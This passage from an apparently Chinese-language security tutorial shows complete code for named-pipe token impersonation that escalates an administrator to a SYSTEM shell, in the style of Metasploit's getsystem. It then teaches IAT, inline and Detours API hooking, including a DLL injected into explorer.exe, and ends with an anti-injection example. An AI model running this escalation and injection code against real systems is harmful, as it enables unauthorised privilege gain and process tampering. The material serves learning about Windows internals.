	// 简单又猥琐的方法
	TCHAR cmd[] = "cmd /c sc create pipe BinPath= \"C:\\Windows\\System32\\cmd.exe /c echo hacker > \\\\.\\pipe\\elevate\" DisplayName= \"pipe\" && sc start pipe";
	if (!CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
	{
		return FALSE;
	}


	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);

	return TRUE;
}

// 服务线程
DWORD WINAPI ServiceThread(LPVOID lpParam)
{
	SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (!hSCM) return FALSE;

	char cmd[] = "C:\\Windows\\System32\\cmd.exe /c echo hacker > \\\\.\\pipe\\elevate";
	SC_HANDLE hService = CreateService(hSCM, "pipe", "pipe", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, cmd, NULL, NULL, NULL, NULL, NULL);
	if (!hService) return FALSE;

	if (!StartService(hService, 0, NULL)) return FALSE;

	return TRUE;
}

// 线程启动服务
BOOL ServiceStartByThread()
{
	HANDLE hThread = CreateThread(NULL, 0, ServiceThread, NULL, 0, NULL);
	if (!hThread) return FALSE;

	CloseHandle(hThread);
	return TRUE;
}

  使用代码示例

// 线程启动服务
if (!ServiceStartByThread())
{
    printf("[-] Start Service Fail\n");
    return 0;
}

// 进程启动服务
/*if (!ServiceStartByProcess())
{
	printf("[-] Start Service Fail\n");
	return 0;
}*/

printf("[+] Waiting for pipe connection...\n");
// 等待客户端连接
ConnectNamedPipe(hPipe, NULL);

  查看msf的getsystem源码,发现它不仅使用了CreateProcessWithTokenW函数,也调用了CreateProcessAsUser函数

BOOL CreateProcessAsUser(
	HANDLE                hToken,				// 主令牌句柄
	LPCSTR                lpApplicationName,	// 文件名
	LPSTR                 lpCommandLine,		// 命令行参数
	LPSECURITY_ATTRIBUTES lpProcessAttributes,	// 指向进程安全属性的指针
	LPSECURITY_ATTRIBUTES lpThreadAttributes,	// 指向线程安全属性的指针
	BOOL                  bInheritHandles,		// 是否可继承句柄
	DWORD                 dwCreationFlags,		// 创建标志
	LPVOID                lpEnvironment,		// 指向新环境块的指针
	LPCSTR                lpCurrentDirectory,	// 指向当前目录名的指针
	LPSTARTUPINFOA        lpStartupInfo,		// 指向 STARTUPINFO 的指针
	LPPROCESS_INFORMATION lpProcessInformation	// 指向 PROCESS_INFORMATION 的指针
);

  查了查区别,网上说的是:CreateProcessWithLogonWCreateProcessWithTokenW函数类似于 CreateProcessAsUser。好吧也就暂时不纠结了,到后面懂了的时候再来补充

  完整代码

#include <Windows.h>
#include <stdio.h>
#include <ShlObj_core.h>

#define PIPENAME "\\\\.\\pipe\\elevate"


// 进程启动服务
BOOL ServiceStartByProcess()
{
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);
	// 隐藏窗口
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;

	// 创建服务名为pipe并启动
	// 简单又猥琐的方法
	TCHAR cmd[] = "cmd /c sc create pipe BinPath= \"C:\\Windows\\System32\\cmd.exe /c echo hacker > \\\\.\\pipe\\elevate\" DisplayName= \"pipe\" && sc start pipe";
	if (!CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
	{
		return FALSE;
	}


	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);

	return TRUE;
}

// 服务线程
DWORD WINAPI ServiceThread(LPVOID lpParam)
{
	SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (!hSCM) return FALSE;

	char cmd[] = "C:\\Windows\\System32\\cmd.exe /c echo hacker > \\\\.\\pipe\\elevate";
	SC_HANDLE hService = CreateService(hSCM, "pipe", "pipe", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, cmd, NULL, NULL, NULL, NULL, NULL);
	if (!hService) return FALSE;

	if (!StartService(hService, 0, NULL)) return FALSE;

	return TRUE;
}

// 线程启动服务
BOOL ServiceStartByThread()
{
	HANDLE hThread = CreateThread(NULL, 0, ServiceThread, NULL, 0, NULL);
	if (!hThread) return FALSE;

	CloseHandle(hThread);
	return TRUE;
}

// 删除服务
void ServiceDelete()
{
	// 也可以使用system("sc delete pipe"); 来删除服务
	SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (!hSCM) return;

	// 删除服务名为pipe
	SC_HANDLE hServ = OpenService(hSCM, "pipe", SERVICE_ALL_ACCESS);
	if (!hServ) return;

	if (!DeleteService(hServ)) return;

	printf("[+] Delete service sucess\n");
}

int main()
{
	// 没有管理员权限
	if (!IsUserAnAdmin())
	{
		printf("[-] User Not An Admin\n");
		return 0;
	}

	// 创建命名管道
	HANDLE hPipe = CreateNamedPipe(
		PIPENAME,
		PIPE_ACCESS_DUPLEX,
		PIPE_TYPE_MESSAGE | PIPE_WAIT,
		PIPE_UNLIMITED_INSTANCES,
		0, 0, 0, NULL
	);

	if (!hPipe)
	{
		printf("[-] Create Named Pipe Fail\n");
		return 0;
	}
	printf("[+] Create Named Pipe %s\n", PIPENAME);


	// 线程启动服务
	if (!ServiceStartByThread())
	{
		printf("[-] Start Service Fail\n");
		return 0;
	}

	// 进程启动服务
	/*if (!ServiceStartByProcess())
	{
		printf("[-] Start Service Fail\n");
		return 0;
	}*/

	printf("[+] Waiting for pipe connection...\n");
	// 等待客户端连接
	ConnectNamedPipe(hPipe, NULL);

	// 接收客户端数据 
	// 注意要提权成功,必须要接收数据,具体原因不知
	char buffer[256] = { 0 };
	ZeroMemory(buffer, sizeof(buffer));

	if (!ReadFile(hPipe, buffer, sizeof(buffer), 0, NULL))
	{
		printf("[-] Disconnect Named Pipe\n");
		return 0;
	}
	printf("[+] RecvData is %s", buffer);

	// 获取令牌	
	BOOL ret = ImpersonateNamedPipeClient(hPipe);
	// 不再需要服务了
	ServiceDelete();

	// 获取令牌失败
	if (!ret)
	{
		printf("[-] Impersonate Client Fail\n");
		return 0;
	}

	printf("[+] Impersonate Client Sucess\n");

	HANDLE token;
	// 获取线程令牌

	ret = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token);
	if (!ret)
	{
		printf("[!] Open Thread Token Fail\n");
		return 0;
	}
	printf("[+] Open Thread Token Sucess\n");

	HANDLE hNewToken;
	// 将线程令牌转换成进程令牌
	ret = DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hNewToken);
	if (!ret)
	{
		printf("[!] Duplicate Token Fail\n");
		return 0;
	}
	printf("[+] Duplicate Token Sucess\n");

	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);

	do
	{
		ret = CreateProcessAsUser(hNewToken, NULL, "\"cmd.exe\"", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
		if (ret) break;

		ret = CreateProcessWithTokenW(hNewToken, 0, L"cmd.exe", NULL, 0, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
		if (ret) break;

		printf("[!] Get System Fail\n");
		return 0;

	} while (0);

	printf("[+] Get System Sucess\n");

	DisconnectNamedPipe(hPipe);
	CloseHandle(hPipe);
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(hNewToken);
	CloseHandle(token);
	return 0;
}

HOOK

  HOOK是一种「劫持」程序原有执行流程,添加额外处理逻辑的一种技术

  按照劫持的目标不同,常见的HOOK类型:Inline HOOK、IAT HOOK、SEH HOOK、IDT HOOK、SSDT HOOK、VirtualTable Hook等等

IAT

  IAT HOOK离不开PE中的导入表,所以你需要PE的基础知识,才能完全看懂下面的代码与原理。

  IAT HOOK的原理是将某个函数(已经加载进内存)的地址,换成要替换的函数的地址。当程序执行某个函数的时候,因为它的地址已经被替换了,所以会执行替换后的函数。要实现这一功能,需要修改PE中导入表中IAT具体的位置,修改此位置指针的值为我们自己编写的函数的地址的值。

  ired的Import Adress Table (IAT) Hooking一图很好的说明了工作流程
  

  这里以函数MessageBox函数作为演示,成功HOOK后,当执行MessageBox会被跳转到我们写好的函数MyMessageBox

  首先,需要获取到MessageBox在内存中的值

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>

// 存储MessageBoxA的值
DWORD oldMsgBoxAddr = 0;

int main()
{
	// 获取MessageBoxA的值
	oldMsgBoxAddr = (DWORD)GetProcAddress(LoadLibrary("USER32.dll"), "MessageBoxA");
	printf("oldMsgBoxAddr Addr %X\n", oldMsgBoxAddr);

	// 将MessageBox加载进内存中
	MessageBox(NULL, "HELLO", "HACKER", 0);
}

  运行结果

oldMsgBoxAddr Value 7604F8B0

  当我们拿到MessageBox的值后,就可以在PE中的导入表进行查找。而解析PE文件常规的做法是,使用GetModuleHandle(NULL)得到当前程序的ImageBase后,解析Dos头→NT头→Optional(可选)头→ENTRY_IMPORT(导入表)

  常规写法

DWORD ImageBase = (DWORD)GetModuleHandle(NULL);   //获取进程基址

// 解析PE

// dos头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
// NT头
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)ImageBase + pDosHeader->e_lfanew);
// 可选PE头
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
// 导入表
PIMAGE_IMPORT_DESCRIPTOR importTable = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)ImageBase + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

  上面的常规写法,非常的麻烦,一点儿错误就会导致解析错误。介绍一个api可以直接获取到某个表的地址ImageDirectoryEntryToData。需要包含头文件ImageHlp.h和引入链接库ImageHlp.dll

PVOID IMAGEAPI ImageDirectoryEntryToData(
	PVOID   Base,				// ImageBase
	BOOLEAN MappedAsImage,		// 是否文件映射
	USHORT  DirectoryEntry,		// 目录表
	PULONG  Size				// 接收DirectoryEntry的大小
);

  DirectoryEntry的可选值有16个,取值就是可选PE头中的DataDirectory[16]。当值为IMAGE_DIRECTORY_ENTRY_IMPORT即获取导入表的地址

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <ImageHlp.h>

#pragma comment(lib,"ImageHlp")

// MessageBoxA的值
DWORD oldMsgBoxAddr = 0;

// 得到hook地址
DWORD* GetHookAddr(DWORD hookAddr)
{
	ULONG Size = 0;
	// 获取进程基址
	DWORD imageBase = (DWORD)GetModuleHandle(NULL);
	// 获取导入表地址
	PIMAGE_IMPORT_DESCRIPTOR importTable = NULL;
	importTable = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData((PVOID)imageBase, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &Size);

	/***
	* FirstThunk指向导入地址表(IAT)存储文件加载后的函数地址
	* 原理 https://www.52pojie.cn/thread-1413220-1-1.html
	***/
	while (importTable->FirstThunk != 0)
	{
		DWORD* thunk = (DWORD*)(importTable->FirstThunk + imageBase);

		while (*thunk)
		{
			if (*thunk == hookAddr)
			{
				printf("find hookAddr %p %X\n", thunk, *thunk);
				return thunk;
			}
			thunk++;
			printf("%p %X\n", thunk, *thunk);
		}
		importTable++;
	}
	return NULL;
}

int main()
{
	// 获取MessageBoxA的值
	oldMsgBoxAddr = (DWORD)GetProcAddress(LoadLibrary("USER32.dll"), "MessageBoxA");
	printf("oldMsgBoxAddr Addr %X\n", oldMsgBoxAddr);
	// 获取MessageBoxA在导入表的地址
	DWORD * hookAddr = GetHookAddr(oldMsgBoxAddr);

	// 将MessageBox加载进内存中
	MessageBox(NULL, "HELLO", "HACKER", 0);
	getchar();
}

  使用dbg附加进来后,点击符号一栏进行查看
  
  可看到左边的地址00DCB1C8和右边的find hookAddr 00DCB1C8一致,这里我要强调的是00DCB1C8这个地址是指向MessageBoxA指针的地址,是指针的地址!不是MessageBoxA的地址,不是MessageBoxA的地址。MessageBoxA的地址是7604F8B0

  双击user32.MessageBoxA即可跳转到MessageBoxA的地址7604F8B0
  
  接下来就简单多了,只需要将MessageBoxA的地址换成我们自己定义的函数地址。但该函数的参数必须与被 HOOK 的函数完全一致

int WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
	printf("哈哈这是我的MessageBox\n");
}

  定义好函数后,进行地址的替换即可

void IATHook(DWORD* hookAddr, DWORD newAddr)
{
	DWORD oldProtected = 0;
	// 通常导入地址表位于内存中且只具有读权限,因此需要修改内存页的属性为可写
	VirtualProtect(hookAddr, sizeof(hookAddr), PAGE_READWRITE, &oldProtected);
	*hookAddr = newAddr;
	// 恢复内存页属性
	VirtualProtect(hookAddr, sizeof(hookAddr), oldProtected, &oldProtected);
}

  示例代码

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <ImageHlp.h>
#include <conio.h>

#pragma comment(lib,"ImageHlp")

// MessageBoxA的地址
DWORD oldMsgBoxAddr = 0;
// 定义MessageBoxA函数原型
typedef int (WINAPI* pMessageBox)(HWND, LPCSTR, LPCSTR, UINT);

int WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
	printf("哈哈这是我的MessageBox\n");

	// 为了不影响原来的功能,调用原来那个"oldMsgBoxAddr"即MessageBox的地址
	//return ((pMessageBox)oldMsgBoxAddr)(hWnd, lpText, lpCaption, uType);
}

void IATHook(DWORD* hookAddr, DWORD newAddr)
{
	DWORD oldProtected = 0;
	// 通常导入地址表位于内存中且只具有读权限,因此需要修改内存页的属性为可写
	VirtualProtect(hookAddr, sizeof(hookAddr), PAGE_READWRITE, &oldProtected);
	*hookAddr = newAddr;
	// 恢复内存页属性
	VirtualProtect(hookAddr, sizeof(hookAddr), oldProtected, &oldProtected);
}

// 得到hook地址
DWORD* GetHookAddr(DWORD hookAddr)
{
	ULONG Size = 0;
	// 获取进程基址
	DWORD imageBase = (DWORD)GetModuleHandle(NULL);
	// 获取导入表地址
	PIMAGE_IMPORT_DESCRIPTOR importTable = NULL;
	importTable = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData((PVOID)imageBase, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &Size);

	/***
	* FirstThunk指向导入地址表(IAT)存储文件加载后的函数地址
	* 原理 https://www.52pojie.cn/thread-1413220-1-1.html
	***/
	while (importTable->FirstThunk != 0)
	{
		DWORD* thunk = (DWORD*)(importTable->FirstThunk + imageBase);

		while (*thunk)
		{
			if (*thunk == hookAddr)
			{
				return thunk;
			}
			thunk++;
		}
		importTable++;
	}
	return NULL;
}
int main()
{
	// 获取MessageBoxA的地址
	oldMsgBoxAddr = (DWORD)GetProcAddress(LoadLibrary("USER32.dll"), "MessageBoxA");
	// 获取MyMessageBoxA的地址
	DWORD newMsgBoxAddr = (DWORD)MyMessageBoxA;
	printf("oldMsgBoxAddr Addr %X\n", oldMsgBoxAddr);
	printf("newMsgBoxAddr Addr %X\n", newMsgBoxAddr);

	// 获取MessageBoxA在导入表的地址
	DWORD* hookAddr = GetHookAddr(oldMsgBoxAddr);
	if (!hookAddr)
	{
		printf("Get HookAddr Fail\n");
		return 0;
	}

	// hook前的地址=MessageBoxA的地址
	printf("before hook %X\n", *hookAddr);

	IATHook(hookAddr, newMsgBoxAddr);
	// hook后的地址=MyMessageBoxA的地址
	printf("after hook %X\n", *hookAddr);
	MessageBox(NULL, "HELLO", "HACKER", 0);

	printf("按任意键解除HOOK\n");
	_getch();
	// 解除hook
	IATHook(hookAddr, oldMsgBoxAddr);
	// 解除hook后的地址=hook前地址=MessageBoxA的地址
	printf("unhook %X\n", *hookAddr);
	MessageBox(NULL, "HELLO", "HACKER", 0);

}

  运行结果

oldMsgBoxAddr Addr 7604F8B0
newMsgBoxAddr Addr 3E0544
before hook 7604F8B0
after hook 3E0544
哈哈这是我的MessageBox
按任意键解除HOOK
unhook 7604F8B0

Inline

  Inline Hook是通过构造一个jmp指令来修改目标函数入口。这里有个重要的公式为JMP后的偏移量=目标地址-原地址-5

  用dbg随便打开一个程序。准备修改744C2AB5地址处的指令
  
  修改后,通过对比,可看出jmp指令占用了5个字节,而且jmp对应的机器码是E9
  
  现在来验证一下上面的公式,目标地址为86436B2D,原地址为744C2AB586436B2D-744C2AB5-5=11F74073。对应上图的E9 73 40 F7 11。

  梳理一下流程
  1.构造跳转指令
  2.在内存中找到要HOOK函数的地址,并保存前5个字节的指令
  3.将构造跳转指令写入需HOOK的位置
  4.被HOOK的函数会跳转到我们的函数执行
  5.如果要取消HOOK,还原被修改的字节

  为什么要保存前5个字节,是因为jmp指令占用了5个字节,这五个字节会被修改掉。如果jmp指令占用了x个字节,就要保存前x个字节,好还原取消HOOK。

  示例代码

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>

int WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
	printf("哈哈这是我的MessageBox\n");
	return 0;
}

void InlineHook(LPVOID funcAddr, BYTE* newBytes)
{
	// 更改属性页为可写
	DWORD oldProtect = 0;
	VirtualProtect(funcAddr, sizeof(funcAddr), PAGE_READWRITE, &oldProtect);
	// 写入构造指令
	WriteProcessMemory(GetCurrentProcess(), funcAddr, newBytes, 5, NULL);
	//memcpy(funcAddr, newBytes, 5);
	// 恢复内存页属性
	VirtualProtect(funcAddr, sizeof(funcAddr), oldProtect, &oldProtect);
}

int main()
{
	// 获取MessageBoxA的地址
	LPVOID msgBoxAddr = (LPVOID)GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA");

	BYTE oldBytes[5];	// 原来的指令
	BYTE newBytes[5];	// 新的指令

	ZeroMemory(oldBytes, 5);
	ZeroMemory(newBytes, 5);

	// 获取原来的指令
	memcpy(oldBytes, msgBoxAddr, 5);

	// 构造跳转指令
	newBytes[0] = '\xe9'; // e9 = JMP
    // JMP后的偏移量=目标地址-原地址-5
	*(DWORD*)(newBytes + 1) = (DWORD)MyMessageBoxA - (DWORD)msgBoxAddr - 5;

	// 挂钩
	InlineHook(msgBoxAddr, newBytes);
	MessageBox(0, "123", 0, 0);

	// 解钩
	InlineHook(msgBoxAddr, oldBytes);
	MessageBox(0, "123", 0, 0);
}

  上面的方法又叫5字节的Inline HOOK,还有一个是7字节的Inline HOOK。7字节的Inline HOOK不再计算偏移量。通过修改两条指令来完成,一条是把目标地址存入寄存器eax,然后使用jmp指令跳转eax中保存的地址

mov eax,addr
jmp eax

  

  mov eax,1010 ,对应的机器码为B8 10100000。也就是说,B8是mov指令的机器码。jmp eax所对应的机器码是FFE0。jmp eax所对应的机器码是不会变的,mov指令的机器码也是不会变的。所以要变化的只有地址。这样可以定义一个字节数组

BYTE newBytes[] = {'\xB8','\0','\0' ,'\0' ,'\0','\xFF','\xE0'};	

  只需要将目标函数的地址保存从1-4字节的位置即可
  示例代码

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>

int WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
	printf("哈哈这是我的MessageBox\n");
	return 0;
}

void InlineHook(LPVOID funcAddr, BYTE* newBytes)
{
	// 更改属性页为可写
	DWORD oldProtect = 0;
	VirtualProtect(funcAddr, sizeof(funcAddr), PAGE_READWRITE, &oldProtect);
	// 写入构造指令
	//WriteProcessMemory(GetCurrentProcess(), funcAddr, newBytes, 7, NULL);
	memcpy(funcAddr, newBytes, 7);
	// 恢复内存页属性
	VirtualProtect(funcAddr, sizeof(funcAddr), oldProtect, &oldProtect);
}

int main()
{
	// 获取MessageBoxA的地址
	LPVOID msgBoxAddr = (LPVOID)GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA");

	BYTE oldBytes[7];	// 原来的指令
	BYTE newBytes[7] = { '\xB8','\0','\0' ,'\0' ,'\0','\xFF','\xE0' };	// 新的指令;

	ZeroMemory(oldBytes, 7);
	
	// 获取原来的指令
	memcpy(oldBytes, msgBoxAddr, 7);

	// 构造跳转指令
	*(DWORD*)(newBytes + 1) = (DWORD)MyMessageBoxA;

	// 挂钩
	InlineHook(msgBoxAddr, newBytes);
	MessageBox(0, "123", 0, 0);

	// 解钩
	InlineHook(msgBoxAddr, oldBytes);
	MessageBox(0, "123", 0, 0);
}

  大部分程序都是由explorer.exe进程创建的,只要把explorer.exe进程的CreateProcessW函数HOOK住,就可以做应用程序的启动拦截。

  创建一个64位的dll

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>

// 存放CreateProcessW的地址
LPVOID hookAddr = NULL;

BYTE oldBytes[5];	// 原来的指令
BYTE newBytes[5];	// 新的指令

void InlineHook(BYTE* newBytes)
{
	// 更改属性页为可写
	DWORD oldProtect = 0;
	VirtualProtect(hookAddr, sizeof(hookAddr), PAGE_EXECUTE_READWRITE, &oldProtect);
	// 写入构造指令
	WriteProcessMemory(GetCurrentProcess(), hookAddr, newBytes, 5, NULL);
	// 恢复内存页属性
	VirtualProtect(hookAddr, sizeof(hookAddr), oldProtect, &oldProtect);
}

// 定义CreateProcessW函数
BOOL WINAPI MyCreateProcessW(
	LPCWSTR				  lpApplicationName,
	LPWSTR				  lpCommandLine,
	LPSECURITY_ATTRIBUTES lpProcessAttributes,
	LPSECURITY_ATTRIBUTES lpThreadAttributes,
	BOOL                  bInheritHandles,
	DWORD                 dwCreationFlags,
	LPVOID                lpEnvironment,
	LPCWSTR               lpCurrentDirectory,
	LPSTARTUPINFOW        lpStartupInfo,
	LPPROCESS_INFORMATION lpProcessInformation
)
{
	int result = MessageBox(0, lpApplicationName, lpCommandLine, MB_YESNO);
	if (result == IDYES)
	{
		// 解除HOOK
		InlineHook(oldBytes);
		CreateProcessW(
			lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles,
			dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation
		);
		// 恢复HOOK
		InlineHook(newBytes);
	}
	else
	{
		MessageBox(0, L"已拦截启动程序", L"提示", MB_OK);
	}
	// 无脑返回TRUE即可
	return TRUE;
}


void Main()
{
	// 获取CreateProcessW的地址
	hookAddr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "CreateProcessW");

	// 获取原来的指令
	memcpy(oldBytes, hookAddr, 5);

	// 构造跳转指令
	newBytes[0] = '\xe9'; // e9 = JMP
	// JMP后的偏移量=目标地址-原地址-5
	*(DWORD*)(newBytes + 1) = (DWORD)MyCreateProcessW - (DWORD)hookAddr - 5;

	InlineHook(newBytes);
}

BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		Main();
		break;
	case DLL_PROCESS_DETACH:
		// 解除HOOK
		InlineHook(oldBytes);
		break;
	}
	return TRUE;
}

  使用ExtremeInjector进行注入后,运行Google Chrome
  
  点击是正常启动程序,点击否提示”已拦截启动程序”
  

钩子库

  Detours是微软提供的一个开发库,使用它可以简单、高校、稳定地实现API HOOK的功能。

  下载到本地后,使用vs2019自带命令行工具**(如果要注入的目标为32请选择x86)**,我需要对64位程序进程注入, 所以我选择x64的命令提示符,名称为x64 Native Tools Command Prompt for VS 2019。

  在命令提示符中进入到Detours-4.0.1,输入nmake开始编译,编译完成后bin.X64里面是编译出来的Demo,include是我们需要的头文件,lib.X64是Detours的本体静态链接库detours.lib。

  将detours.h和detours.lib添加进项目后,就可以开始写代码了。注意需要选择Release模式下进行编译,Debug模式编译会失效!!

#include <Windows.h>
#include <stdio.h>
#include "detours.h"
#pragma comment(lib,"detours.lib")


// 定义MessageBoxA原函数
int (WINAPI* pMesssageBoxA)(HWND, LPCSTR, LPCSTR, UINT) = MessageBoxA;
int WINAPI MyMesssageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
	printf("已被HOOK");
	return pMesssageBoxA(hWnd, lpText, lpCaption, uType);
}

// 挂钩
void Hook()
{
	// 恢复之前状态,避免重复HOOK
	DetourRestoreAfterWith();
	// 开始事务
	DetourTransactionBegin();
	// 更新线程信息  
	DetourUpdateThread(GetCurrentThread());
	// 将拦截的函数附加到原函数的地址上,这里可以拦截多个函数。
	DetourAttach((void**)&pMesssageBoxA, MyMesssageBoxA);
	// 结束事务
	DetourTransactionCommit();
}

// 脱钩
void UnHook()
{
	//开始事务
	DetourTransactionBegin();
	// 更新线程信息 
	DetourUpdateThread(GetCurrentThread());
	// 将拦截的函数从原函数的地址上解除,这里可以解除多个函数。
	DetourDetach((void**)&pMesssageBoxA, MyMesssageBoxA);
	// 结束事务
	DetourTransactionCommit();
}

int main()
{
	Hook();
	MessageBoxA(0, "我被HOOK了", 0, 0);
	UnHook();
	MessageBoxA(0, "已解除HOOK", 0, 0);
}

  上面的代码都很简单,步骤都是固定的,只需要在DetourAttachDetourDetach替换函数地址即可。

  做一个防dll注入的例子,在远程线程注入中,使用LoadLibraryGetProcAddress这两个关键的api进行注入。只需要HOOK掉这两个函数,即可做到一个简单的防注入功能

#include <Windows.h>
#include <stdio.h>
#include "detours.h"
#pragma comment(lib,"detours.lib")

// 定义GetProcAddress原型
FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR) = GetProcAddress;
// 定义LoadLibraryA原型
HMODULE(WINAPI* pLoadLibraryA)(LPCSTR) = LoadLibraryA;
// 定义LoadLibraryW原型
HMODULE(WINAPI* pLoadLibraryW)(LPCWSTR) = LoadLibraryW;

FARPROC WINAPI MyGetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
	return pGetProcAddress(NULL, NULL);
}

HMODULE WINAPI MyLoadLibraryA(LPCSTR lpLibFileName)
{
	return pLoadLibraryA(NULL);
}

HMODULE WINAPI MyLoadLibraryW(LPCWSTR lpLibFileName)
{
	return pLoadLibraryW(NULL);
}

// 挂钩
void Hook()
{
	DetourRestoreAfterWith();
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach((void**)&pGetProcAddress, MyGetProcAddress);
	DetourAttach((void**)&pLoadLibraryA, MyLoadLibraryA);
	DetourAttach((void**)&pLoadLibraryW, MyLoadLibraryW);
	DetourTransactionCommit();
}

// 脱钩
void UnHook()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach((void**)&pGetProcAddress, MyGetProcAddress);
	DetourDetach((void**)&pLoadLibraryA, MyLoadLibraryA);
	DetourDetach((void**)&pLoadLibraryW, MyLoadLibraryW);
	DetourTransactionCommit();
}

int main()
{
	Hook();
	printf("防远程线程注入中\n");
	system("pause");
	UnHook();
	system("pause");
}

  使用工具进行远程线程注入失败
     

查看评论 -
评论